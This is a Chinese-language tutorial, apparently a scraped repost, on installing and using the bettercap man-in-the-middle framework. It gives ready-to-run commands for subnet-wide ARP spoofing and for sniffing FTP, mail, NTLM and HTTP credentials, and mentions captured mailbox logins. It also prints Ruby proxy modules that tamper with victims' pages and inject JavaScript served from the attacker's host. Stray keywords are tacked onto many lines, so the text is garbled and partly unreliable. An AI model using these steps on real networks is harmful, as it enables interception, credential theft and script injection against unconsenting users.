Linux下中間人攻擊利用框架bettercap測試

0x01簡介 javascript

bettercap可用來實現各類中間人攻擊,模塊化,便攜、易擴展 html

0x02特色 java

提到中間人攻擊,最知名的莫過於ettercap,而開發bettercap的目的不是爲了追趕它,而是替代它 緣由以下: linux

1ettercap很成功,但在新時代下它已經老了 2ettercap的過濾器複雜,使用門檻高 3、在大型網絡下,主機發現功能效果不好 4、優化不夠,對研究人員來講,無用的功能太多 5、擴展性不夠,開發須要掌握C/C++語言 c++

0x03測試環境搭建 git

kali linux github

git clone https://github.com/evilsocket/bettercap windows

cd bettercap 緩存

gem build bettercap.gemspec ruby

sudo gem install bettercap*.gem

若是報錯,如圖:

執行以下命令:

sudo apt-get install ruby-dev libpcap-dev

sudo gem install bettercap*.gem

最後成功,如圖:

0x04參數說明

已作翻譯並加入我的理解

用法:

-I, --interface IFACE 指定Network interface name,默認eth0

-S, --spoofer NAME 指定欺騙模塊,此參數默認爲ARP,目前僅支持ARP,新版本會添加更多選項

-T, --target ADDRESS 指定單一ip,若是未設置,則表明全部子網,子網全部主機自動掃描,簡單高效,十分推薦
-O, --log LOG_FILE
日誌功能

-D, --debug 調試功能,會將每一步操做詳細記錄,便於調試

-L, --local 解析流經本機的全部數據包(此操做會開啓嗅探器),此參數默認爲關閉

-X, --sniffer 開啓嗅探器. --sniffer-pcap FILE 將數據包保存爲PCAP文件,可用Wireshark打開(此操做會開啓嗅探器) --sniffer-filter EXPRESSION 配置嗅探器使用BPF過濾器(此操做會開啓嗅探器)

-P, --parsers PARSERS 指定數據包(此操做會開啓嗅探器),支持NTLMSS, IRC, POST, URL, FTP, HTTPS, HTTPAUTH, MAIL,此參數默認爲全部 --no-discovery 只使用當前的ARP緩存,不去掃描其餘主機,此參數默認爲關閉 --no-spoofing 關閉欺騙模塊,也可使用參數--spoofer NONE代替 --proxy 啓用HTTP代理而且重定向全部HTTP請求至本機,此參數默認爲關閉 --proxy-port PORT 設置HTTP代理端口,此參數默認爲8080 --proxy-module MODULE 指定加載的Ruby模塊 --httpd 開啓HTTP服務器,此參數默認爲關閉 --httpd-port PORT 指定HTTP server port, 此參數默認爲8081. --httpd-path PATH 指定HTTP server path,此參數默認爲 ./.

-h, --help 英文幫助

0x05功能測試

1HOST DISCOVERY + ARP MAN IN THE MIDDLE

sudo bettercap -X

掃描所有內網主機,傻瓜式操做,自動掃描並進行arp欺騙,使全部流量通過本機,如圖

2CREDENTIALS SNIFFER

抓取流量中有價值的信息,包括:

URLs being visited.

HTTPS host being visited.

HTTP POSTed data.

HTTP Basic and Digest authentications.

FTP credentials.

IRC credentials.

POP, IMAP and SMTP credentials.

NTLMv1/v2 ( HTTP, SMB, LDAP, etc ) credentials.

用法舉例:

默認傻瓜模式,開啓全部功能:

sudo bettercap -X

如圖爲抓到的163郵箱登錄數據

指定抓取的數據包:

sudo bettercap -X -P "FTP,HTTPAUTH,MAIL,NTLMSS"

如圖爲抓到192.168.40.146FTP

3MODULAR TRANSPARENT PROXY

代理功能,能夠攔截篡改HTTP流量

用法舉例:

開啓代理功能:

sudo bettercap --proxy

開啓代理功能並指定端口:

sudo bettercap --proxy --proxy-port=8081

關閉arp欺騙,只開啓代理

sudo bettercap -S NONE --proxy

開啓代理功能並加載指定的Ruby模塊

sudo bettercap --proxy --proxy-module=hack_title.rb

Ruby參考示例:

class HackTitle < Proxy::Module

def on_request( request, response )

# is it a html page?

if response.content_type == 'text/html'

Logger.info "Hacking http://#{request.host}#{request.url} title tag"

# make sure to use sub! or gsub! to update the instance

response.body.sub!( '<title>', '<title> !!! HACKED !!! ' )

end

end

end

功能爲替換全部html的標題選項

4BUILTIN HTTP SERVER

內置HTTP SERVER功能,可篡改HTTP響應包內容

用法舉例:

在網絡的每個HTTP響應中注入JS文件

sudo bettercap --httpd --http-path=/path/to/your/js/file/ --proxy --proxy-module=inject.rb

Ruby參考示例:

class InjectJS < Proxy::Module

def on_request( request, response )

# is it a html page?

if response.content_type == 'text/html'

Logger.info "Injecting javascript file into http://#{request.host}#{request.url} page"

# get the local interface address and HTTPD port

localaddr = Context.get.iface[:ip_saddr]

localport = Context.get.options[:httpd_port]

# inject the js

response.body.sub!( '</title>', "</title><script src='http://#{localaddr}:#{localport}/file.js'

 

type='text/javascript'></script>" )

end

end

end

0x06測試心得

亮點:

中間人攻擊利用框架的開發,便攜,安裝簡單 整合了各類經常使用功能,功能模塊化,自動欺騙攻擊,提升效率 極大下降了工具的使用和開發門檻

不足:

目前只支持arp欺騙,功能仍需完善。

暫不支持windows

0x07總結

以前我用過c++開發arp欺騙&中間人攻擊的程序,我的認爲arp欺騙的成功與否關鍵在於ARP緩存表的修改,鎖定ARP緩存表目前就能防護bettercap基於arp的中間人攻擊 但我相信,bettercap的前景十分廣闊。

0x08補充

bettercap下載地址:

http://www.bettercap.org/

水平有限,歡迎補充。

相關文章
相關標籤/搜索